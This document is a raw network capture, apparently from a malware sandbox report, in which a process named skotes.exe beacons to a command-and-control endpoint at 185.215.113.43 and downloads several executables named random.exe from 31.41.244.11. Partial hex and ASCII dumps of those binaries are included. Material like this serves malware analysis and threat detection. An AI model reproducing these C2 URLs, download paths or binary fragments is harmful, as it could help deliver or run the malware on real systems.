                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:20.125127077 CET184OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 185.215.113.43
                                                                                                                                                                                                                                                                                  Content-Length: 31
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 65 31 3d 31 30 31 39 33 31 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39
                                                                                                                                                                                                                                                                                  Data Ascii: e1=1019315001&unit=246122658369
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:21.476577997 CET193INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:21 GMT
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                  Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: 4 <c>0


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  4192.168.2.44978731.41.244.11807324C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:21.602497101 CET63OUTGET /files/geopoxid/random.exe HTTP/1.1
                                                                                                                                                                                                                                                                                  Host: 31.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931256056 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:22 GMT
                                                                                                                                                                                                                                                                                  Content-Type: application/octet-stream
                                                                                                                                                                                                                                                                                  Content-Length: 1861632
                                                                                                                                                                                                                                                                                  Last-Modified: Thu, 19 Dec 2024 20:35:58 GMT
                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                  ETag: "676483ae-1c6800"
                                                                                                                                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                  Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 50 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 49 00 00 04 00 00 49 41 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gPI@IIA@T0h 1 H@.rsrc X@.idata 0Z@ *@\@wekcazboP/^@ttllozcv@I@@.taggant0PI"F@
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931276083 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                                                  Data Ascii:
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931289911 CET448INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                                                  Data Ascii:
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931377888 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                                                  Data Ascii:
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931392908 CET224INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                                                  Data Ascii: ~"Q'
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931416988 CET1236INData Raw: 4a ca 9a 8e 5a 77 b9 5f ad 01 9a 5a 2a 02 9c d8 34 8b 26 59 05 02 eb 7b 1c 6e 58 56 2a 3e a3 96 dc cd 5b 1a 63 c2 ee e6 f6 a8 1c 50 83 9a 24 cc cb 82 ca 6e d4 c3 98 00 a7 b0 a8 da 69 a2 a1 5f 22 ce bf 0f 87 90 93 8a 1f a7 a5 e6 87 f9 0d 0d cf da
                                                                                                                                                                                                                                                                                  Data Ascii: JZw_Z*4&Y{nXV*>[cP$ni_"4$\V=rJ9^Q]Af#PlET+ze2bnaypN'sy5"Z"^n8EIcJ6O1-%/x&g0#
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931435108 CET1236INData Raw: 4a 6f 23 96 67 d3 bb dc d3 d0 98 12 9f e8 83 51 cc 3b 0c 5e 47 d5 28 da 80 7b bb 64 23 83 ac 99 c7 7a ac ad e4 72 f8 b3 e8 b0 0f e8 77 ae ce 36 0c ef 34 57 34 86 20 d7 b2 4e 0f 9a f3 4a d2 27 57 8f 0e 76 bc 71 4c 2c bb 3e b5 75 05 33 da 68 a8 be
                                                                                                                                                                                                                                                                                  Data Ascii: Jo#gQ;^G({d#zrw64W4 NJ'WvqL,>u3hO;^?3v6C*W[om`JWf6 }v%ntB`v.[Eg`$*2w+&a7Vn5U;#s~(D;v
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931694984 CET1236INData Raw: cc 62 38 86 a5 9a 26 54 70 75 9d 38 77 0b 66 50 04 49 7a d9 78 03 86 57 30 70 6a 09 dd e7 c5 fa 27 ea 5d d9 69 be 82 24 20 86 46 2b cc a9 66 3e 86 9b a2 27 bd 5a 9f 58 b7 a9 bf 9b db 0a 3f 4a c3 a4 b7 5a 46 22 94 94 84 1a 17 c8 e5 37 20 0b 34 ad
                                                                                                                                                                                                                                                                                  Data Ascii: b8&Tpu8wfPIzxW0pj']i$ F+f>'ZX?JZF"7 4h#](&w6[m-TdxwfR>+/a0=lc =l%*Nn%?bB,?)\H9d%&B%X63}{F?
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931711912 CET1236INData Raw: 94 4d 36 22 13 58 20 32 8e bc 64 dd a3 bd 15 bf 7b a5 ed f7 f2 4b bd 54 a7 88 cc 37 a9 35 8b 6e 9d f9 c4 5a 39 39 bf 90 d5 f7 dd 5b 2a fc 4b 09 75 cc 3a 86 57 d4 a8 d3 4d 9b 73 23 2a a6 d4 23 3a 9e cb 83 2a 7d 2c 13 a8 ce c8 4a 84 24 19 e3 85 86
                                                                                                                                                                                                                                                                                  Data Ascii: M6"X 2d{KT75nZ99[*Ku:WMs#*#:*},J$KJ&%w1vp'52}X:Y^r;Dp&}y* Uhbt$n>,20<p[C4+Z"[V@X{JWaale_KI^ZJ
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931726933 CET896INData Raw: 9a 55 ab bf a3 f9 eb d9 c4 27 e9 c9 e9 0e a2 c4 a3 c3 94 20 18 71 1a ee 25 32 6b 18 ff 0a 96 14 ea 1d 56 f3 28 8e cf 96 2d bd 0a 10 61 cb b7 a9 f7 bb b3 13 38 fe 14 06 96 38 ab 58 69 67 3b fa 10 94 cd 8b a7 6c 0a 90 cd a7 9d 6f 1c de cd 05 bf 94
                                                                                                                                                                                                                                                                                  Data Ascii: U' q%2kV(-a88Xig;lo3gu_5{tTK\Za}VZm m]xMPusbbm/.df1:XKqZ+J7^>##t;B;@/$Jh>PV
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.051860094 CET1236INData Raw: 48 72 5a d7 54 06 7c 7b dd 5f 1c 62 fc 5b 0c 53 ea 7c 40 a5 68 9f 94 77 4e 15 16 0d bf 21 16 19 c3 8d 61 d7 60 cd 93 71 3d 33 2b d9 86 ea 2b 1d 3b 37 ba df eb b7 ba 78 c5 b1 ec 16 fc db 39 08 e2 fd 4e e7 90 b1 56 36 b7 e9 4e ec c4 0b 6d d8 4b f2
                                                                                                                                                                                                                                                                                  Data Ascii: HrZT|{_b[S|@hwN!a`q=3++;7x9NV6NmK@'UJ|X_cY+;Ufs411)[K6gFVZ Q1pgP!Z`M8XUl=%NXXXO]tGm#$+l


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  5192.168.2.449804185.215.113.43807324C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:28.403930902 CET184OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 185.215.113.43
                                                                                                                                                                                                                                                                                  Content-Length: 31
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 64 31 3d 31 30 31 39 33 31 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39
                                                                                                                                                                                                                                                                                  Data Ascii: d1=1019316001&unit=246122658369
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.753772974 CET193INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:29 GMT
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                  Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: 4 <c>0


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  6192.168.2.44980931.41.244.11807324C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:29.875394106 CET63OUTGET /files/zhigarko/random.exe HTTP/1.1
                                                                                                                                                                                                                                                                                  Host: 31.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.201747894 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:30 GMT
                                                                                                                                                                                                                                                                                  Content-Type: application/octet-stream
                                                                                                                                                                                                                                                                                  Content-Length: 439296
                                                                                                                                                                                                                                                                                  Last-Modified: Sat, 21 Dec 2024 08:14:10 GMT
                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                  ETag: "676678d2-6b400"
                                                                                                                                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                  Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd b6 42 53 99 d7 2c 00 99 d7 2c 00 99 d7 2c 00 8d bc 2f 01 94 d7 2c 00 8d bc 29 01 23 d7 2c 00 cb a2 28 01 8b d7 2c 00 cb a2 2f 01 8f d7 2c 00 cb a2 29 01 c0 d7 2c 00 a8 8b d1 00 9b d7 2c 00 8d bc 28 01 8e d7 2c 00 8d bc 2d 01 8a d7 2c 00 99 d7 2d 00 6a d7 2c 00 55 a2 25 01 98 d7 2c 00 55 a2 d3 00 98 d7 2c 00 55 a2 2e 01 98 d7 2c 00 52 69 63 68 99 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 01 33 64 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 f2 04 00 00 00 02 00 00 00 00 00 27 a0 02 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 [TRUNCATED]
                                                                                                                                                                                                                                                                                  Data Ascii: MZ@!L!This program cannot be run in DOS mode.$BS,,,/,)#,(,/,),,(,-,-j,U%,U,U.,Rich,PEL3dg'@0@EE8@<.textj `.rdataHJ@@.datam`,@@.rsrcl@@.relocEFn@B
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.201821089 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 50 ca 44 00 e8 87 8d 02 00 59 c3 cc cc cc cc 68 f0 c9 44 00 e8 77 8d 02 00 59
                                                                                                                                                                                                                                                                                  Data Ascii: hPDYhDwYj hEdnF/hDVYj hEtFo/hD6YjhETuFO/hpDYj h$EoF//hDYjhHELtF/h0DY
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.201894045 CET448INData Raw: cc cc cc 6a 04 68 ec d2 45 00 b9 0c 72 46 00 e8 0f 2b 02 00 68 30 d8 44 00 e8 d6 88 02 00 59 c3 cc cc cc 6a 04 68 f4 d2 45 00 b9 78 77 46 00 e8 ef 2a 02 00 68 90 d8 44 00 e8 b6 88 02 00 59 c3 cc cc cc 6a 04 68 fc d2 45 00 b9 a4 73 46 00 e8 cf 2a
                                                                                                                                                                                                                                                                                  Data Ascii: jhErF+h0DYjhExwF*hDYjhEsF*hDYjhEhxF*hPDvYjhE<uF*hDVYjhElFo*hD6YjhElFO*hpDYjh8E,mF/*
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.201930046 CET1236INData Raw: cc cc cc 6a 0c 68 84 d3 45 00 b9 28 79 46 00 e8 4f 29 02 00 68 70 dd 44 00 e8 16 87 02 00 59 c3 cc cc cc 6a 0c 68 94 d3 45 00 b9 5c 6d 46 00 e8 2f 29 02 00 68 d0 dd 44 00 e8 f6 86 02 00 59 c3 cc cc cc 6a 04 68 a4 d3 45 00 b9 ec 70 46 00 e8 0f 29
                                                                                                                                                                                                                                                                                  Data Ascii: jhE(yFO)hpDYjhE\mF/)hDYjhEpF)h0DYjhEmF(hDYjhE$oF(hDYjhEdqF(hPDvYjhEloF(hDVYjhE xFo(
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.201965094 CET1236INData Raw: 68 b0 eb 44 00 e8 56 82 02 00 59 c3 cc cc cc 6a 4c 68 e0 d5 45 00 b9 c4 71 46 00 e8 6f 24 02 00 68 10 ec 44 00 e8 36 82 02 00 59 c3 cc cc cc 6a 3c 68 30 d6 45 00 b9 a4 6d 46 00 e8 4f 24 02 00 68 70 ec 44 00 e8 16 82 02 00 59 c3 cc cc cc 6a 0c 68
                                                                                                                                                                                                                                                                                  Data Ascii: hDVYjLhEqFo$hD6Yj<h0EmFO$hpDYjhpEsF/$hDYjhE<rF$h0DYjhEqF#hDYjhEtF#hDYj@hE$lF#hPDvYjPh
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202013016 CET1236INData Raw: 45 00 b9 b4 72 46 00 e8 af 1f 02 00 68 50 fa 44 00 e8 76 7d 02 00 59 c3 cc cc cc 6a 20 68 64 da 45 00 b9 0c 6f 46 00 e8 8f 1f 02 00 68 b0 fa 44 00 e8 56 7d 02 00 59 c3 cc cc cc 6a 0c 68 88 da 45 00 b9 e0 78 46 00 e8 6f 1f 02 00 68 10 fb 44 00 e8
                                                                                                                                                                                                                                                                                  Data Ascii: ErFhPDv}Yj hdEoFhDV}YjhExFohD6}YjhErFOhpD}YjhEtF/hD|YjhE,vFh0D|YhD|YhD|YhPD|Yj@hE
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202048063 CET1236INData Raw: c9 0f 45 c1 c3 cc cc 55 8b ec 56 8b f1 8d 46 04 c7 06 24 16 45 00 50 e8 df 86 02 00 83 c4 04 f6 45 08 01 74 0b 6a 0c 56 e8 a0 78 02 00 83 c4 08 8b c6 5e 5d c2 04 00 0f 57 c0 8b c1 66 0f d6 41 04 c7 41 04 50 ce 45 00 c7 01 4c 18 45 00 c3 cc cc cc
                                                                                                                                                                                                                                                                                  Data Ascii: EUVF$EPEtjVx^]WfAAPELEQEVYUVuV*U^]VWVf UV)U^UjhDdP$aF3PEdEEPUUMB
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202084064 CET896INData Raw: ac 83 c4 08 c7 07 30 17 45 00 83 fa 10 72 28 8b 4d 98 42 8b c1 81 fa 00 10 00 00 72 10 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 77 43 52 51 e8 c5 73 02 00 83 c4 08 8b 4b 08 8b c7 8b 53 0c c7 07 58 18 45 00 89 4f 0c 89 57 10 8b 4d f4 64 89 0d 00
                                                                                                                                                                                                                                                                                  Data Ascii: 0Er(MBrI#+wCRQsKSXEOWMdY_^M3!m][|wUVF$EPEtjVPs^]UVuWWGP$EfFPXEFNGOdE
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202119112 CET1236INData Raw: e8 79 50 02 00 83 c4 08 85 c0 75 07 5e 8b e5 5d c2 08 00 51 8b ce e8 28 00 00 00 68 90 ce 45 00 8d 4d f0 e8 5b f9 ff ff 68 0c 44 46 00 8d 45 f0 50 e8 63 80 02 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 80 85 44 00 64 a1 00 00 00
                                                                                                                                                                                                                                                                                  Data Ascii: yPu^]Q(hEM[hDFEPcUjhDdPV$aF3PEdVEOjVoMdY^]U$aF3EjEPjhTFEtx}t_d,F;~-hF6j
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.202156067 CET1236INData Raw: 8b ec 6a ff 68 2d 86 44 00 64 a1 00 00 00 00 50 56 a1 24 61 46 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b 75 08 89 75 08 c7 45 fc 00 00 00 00 8b ce 8b 06 ff 50 04 8b 06 8b ce 6a 01 ff 10 8b 4d f4 64 89 0d 00 00 00 00 59 5e 8b e5 5d c3 cc 55 8b ec
                                                                                                                                                                                                                                                                                  Data Ascii: jh-DdPV$aF3PEduuEPjMdY^]UEV<EtjV<k^]Vqt%WFu~Ou_^`_^UQMahpEFEPzUVWFP$EfEP~x
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:31.322185993 CET1236INData Raw: c7 43 0c 00 00 00 00 8b 51 04 8b 41 08 89 55 fc 3b d0 74 2d 57 2b c2 8d 4b 04 8b f8 89 45 f8 c1 ff 02 57 e8 f3 06 02 00 ff 75 f8 8b 73 04 ff 75 fc 56 e8 34 77 02 00 83 c4 0c 8d 0c be 89 4b 08 5f 5e 8b c3 5b 8b e5 5d c2 04 00 55 8b ec 83 ec 08 56
                                                                                                                                                                                                                                                                                  Data Ascii: CQAU;t-W+KEWusuV4wK_^[]UVWMw;tCA+MEFS+;vQ'uuSvMN[_^]UjhDdP$aF3PEd'MdY]


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  7192.168.2.449822185.215.113.43807324C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:34.751127958 CET184OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 185.215.113.43
                                                                                                                                                                                                                                                                                  Content-Length: 31
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 64 31 3d 31 30 31 39 33 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39
                                                                                                                                                                                                                                                                                  Data Ascii: d1=1019317001&unit=246122658369
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.095695972 CET193INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:35 GMT
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                  Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: 4 <c>0


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  8192.168.2.44982931.41.244.11807324C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.218713999 CET68OUTGET /files/kardanvalov88/random.exe HTTP/1.1
                                                                                                                                                                                                                                                                                  Host: 31.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541297913 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:37 GMT
                                                                                                                                                                                                                                                                                  Content-Type: application/octet-stream
                                                                                                                                                                                                                                                                                  Content-Length: 605696
                                                                                                                                                                                                                                                                                  Last-Modified: Thu, 12 Dec 2024 15:01:10 GMT
                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                  ETag: "675afab6-93e00"
                                                                                                                                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                  Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4d 93 ba 99 09 f2 d4 ca 09 f2 d4 ca 09 f2 d4 ca 42 8a d7 cb 0c f2 d4 ca 42 8a d1 cb b6 f2 d4 ca 19 76 d7 cb 03 f2 d4 ca 19 76 d0 cb 18 f2 d4 ca 42 8a d2 cb 08 f2 d4 ca 19 76 d1 cb 63 f2 d4 ca 52 9a d5 cb 0b f2 d4 ca 42 8a d0 cb 12 f2 d4 ca 42 8a d5 cb 18 f2 d4 ca 09 f2 d5 ca cf f2 d4 ca 42 77 dd cb 0c f2 d4 ca 42 77 2b ca 08 f2 d4 ca 09 f2 43 ca 08 f2 d4 ca 42 77 d6 cb 08 f2 d4 ca 52 69 63 68 09 f2 d4 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 31 b5 31 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 29 00 ee 06 00 00 6c 02 00 00 00 00 00 0c 32 04 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 [TRUNCATED]
                                                                                                                                                                                                                                                                                  Data Ascii: MZ@!L!This program cannot be run in DOS mode.$MBBvvBvcRBBBwBw+CBwRichPEd11g")l2@``HtLpp(@@.text> `.rdatad@@.data;@.pdatatLN@@.rsrcH`,@@.relocp2@B
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541366100 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 55 48 8d ac 24 50 fe ff ff 48 81 ec b0 02 00 00 0f 57 c0 0f 11 44 24 30 0f 57
                                                                                                                                                                                                                                                                                  Data Ascii: @UH$PHWD$0WfL$@A H)HL$0g4WD$PWfL$`AHHL$P>4WD$pWfMA HHL$p4WEWfMAHHM3WEWf
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541404009 CET448INData Raw: 48 8d 4d b0 e8 fa 2f 02 00 90 0f 57 c0 0f 11 45 d0 0f 57 c9 66 0f 7f 4d e0 41 b8 21 00 00 00 48 8d 15 dd a9 07 00 48 8d 4d d0 e8 d4 2f 02 00 90 0f 57 c0 0f 11 45 f0 0f 57 c9 66 0f 7f 4d 00 41 b8 20 00 00 00 48 8d 15 07 a8 07 00 48 8d 4d f0 e8 ae
                                                                                                                                                                                                                                                                                  Data Ascii: HM/WEWfMA!HHM/WEWfMA HHM/WEWfM A!HHM/WE0WfM@A HHM0b/WEPWfM`A!HHMP</WEpWfA HHMp/W
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541444063 CET1236INData Raw: 00 00 41 b8 21 00 00 00 48 8d 15 fc a8 07 00 48 8d 8d 10 01 00 00 e8 28 2e 02 00 90 0f 57 c0 0f 11 85 30 01 00 00 0f 57 c9 66 0f 7f 8d 40 01 00 00 41 b8 20 00 00 00 48 8d 15 55 a7 07 00 48 8d 8d 30 01 00 00 e8 f9 2d 02 00 90 0f 57 c0 0f 11 85 50
                                                                                                                                                                                                                                                                                  Data Ascii: A!HH(.W0Wf@A HUH0-WPWf`A!HHP-WpWfA H/Hp-WWfA!HHl-HD$0HD$ HHD$((D$
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541480064 CET1236INData Raw: 00 00 00 48 8d 15 65 a5 07 00 48 8d 4d e0 e8 5c 29 02 00 90 0f 57 c0 0f 11 45 00 0f 57 c9 66 0f 7f 4d 10 41 b8 6a 00 00 00 48 8d 15 df a6 07 00 48 8d 4d 00 e8 36 29 02 00 90 0f 57 c0 0f 11 45 20 0f 57 c9 66 0f 7f 4d 30 41 b8 08 00 00 00 48 8d 15
                                                                                                                                                                                                                                                                                  Data Ascii: HeHM\)WEWfMAjHHM6)WE WfM0AHIHM )WE@WfMPAoHHM@(3HHP]HH@HHWfHH?LH
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541620970 CET1236INData Raw: 83 c4 28 e9 5f 0d 04 00 cc cc cc 48 83 ec 28 41 b9 01 00 00 00 48 8d 15 ff cf 08 00 45 33 c0 48 8d 0d 85 cf 08 00 e8 a0 e2 01 00 48 8d 0d c5 da 06 00 48 83 c4 28 e9 2c 0d 04 00 40 53 48 83 ec 20 b9 02 00 00 00 e8 b8 77 04 00 48 8d 0d c9 cf 08 00
                                                                                                                                                                                                                                                                                  Data Ascii: (_H(AHE3HHH(,@SH wHH!HE3HHHAHH [HHHHcHHHDPHHcHLH(HH}H(HQHJH
